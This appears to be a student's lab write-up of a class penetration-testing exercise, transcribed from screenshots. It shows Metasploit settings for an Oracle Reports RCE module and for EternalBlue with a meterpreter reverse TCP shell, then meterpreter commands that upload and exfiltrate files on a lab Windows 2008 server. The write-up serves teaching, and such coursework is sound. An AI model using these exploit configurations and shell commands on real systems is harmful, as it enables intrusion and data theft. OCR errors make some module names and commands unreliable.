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Part 1. In the above screenshot | discover the 5 critical vulnerabilities after running an advanced
nessus scan.
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Part 2. In the above screenshot | show the large number of exploits found for the Microsoft RDP
RCE vulnerability.
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exploit( ) > show options

Module options (exploit/multi/http/oracle_reports rce):

ent Setting Required Description
EXTURL An external host to request the payload from
HTTPDELAY 10 Time that the HTTP Server will wait for the payload request
PAYDIR /images/ The folder to download the payload to
Proxies A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS The target address range or CIDR identifier
RPORT 80 The target port (TCP)
SRVHOST 0.0.0.0 The local host to listen on. This must be an address on the local machine
0.0.0.0
SRVPORT 8080 The local port to listen on.
SSL false Negotiate SSL/TLS for outgoing connections
SSLCert Path to a custom SSL certificate (default is randomly generated)
URIPATH The URI to use for this exploit (default is random)
VHOST HTTP server virtual host
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Part 3. In the above screenshot | show the exploit | chose, oracle_reports_rce. It is one that
allows for remote code execution through misconfigurations in oracle reports. Some of the
configuration information is: PAYDIR (folder to download payload), RHOSTS, RPORT,
SRVHOST (local host to listen on), SRVPORT (local port to listen on), SSL, and SSLCert (path
to a custom SSL certificate).

Task B:
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Module options (exploit/windows/smb/ms17 016 eternalblue):

Name Current Setting Required Description

RHOSTS 192.168.10.11 The target address range or CIDR identifier

RPORT 445 yes The target port (TCP)

SMBDomain ‘ no (Optional) The Windows domain to use for authentication
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as

VERIFY_ARCH true yes Check if remote architecture matches exploit Target.
VERIFY _TARGET true yes Check if remote 0S matches exploit Target.

Files

Payload options (windows/x64/meterpreter/reverse tcp):
EL Current Setting Required Description
Exit technique (Accepted: '', seh, thread, process, none)

y
LHOST 192.168.217.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Windows 7 and Server 2008 R2 (x64) All Service Packs
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Part 1. In this screenshot | show the configuration for the ms17_010_eternalblue exploit (using a
smaller port number as discussed in class).
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Part 2. Here | show the ms17_010_eternalblue successfully exploited the Win 2008 server and
the reverse TCP session is running in the background
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Part 1. The above screenshot shows the screengrab taken from the target Windows 2008
machine through the meterpreter shell.
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Part 2. In the above two screenshots | first upload the text file | created on External Kali to the
target Windows Server 2008. Then | check to see if the file exists on the Windows machine.
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meterpreter > cd c://
meterpreter > pwd
c:\

. meterpreter > upload /root/IMadeIT-jland018.txt
uploading : /root/IMadeIT-jland018.txt -> IMadeIT-jland018.txt
VM- Kali Uploaded 33.00 B of 33.00 B (100.0%): /root/IMadeIT-jland@18.txt -> IMadeIT-jland018.txt
Loty uploaded : /root/IMadeIT-jland018.txt -> IMadeIT-jland@18.txt
meterpreter > cd c:/inetpub/ftproot/
meterpreter > pwd
c:\inetpub\ftproot
meterpreter > 1s
ware
Workstati..

Size Type Last modified Name

100666/ rw-rw-rw- 0 fil 2017-08-24 14:31:29 -0400 YouMadeIt.txt.txt

meterpreter > download YouMadeIt.txt.txt
Downloading: YouMadeIt.txt.txt -> YouMadeIt.txt.txt
YouMadeIt.txt.txt -> YouMadeIt.txt.txt
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Part 3. This screenshot shows me use the ‘download’ meterpreter command to steal the
YouMadelt.txt file.



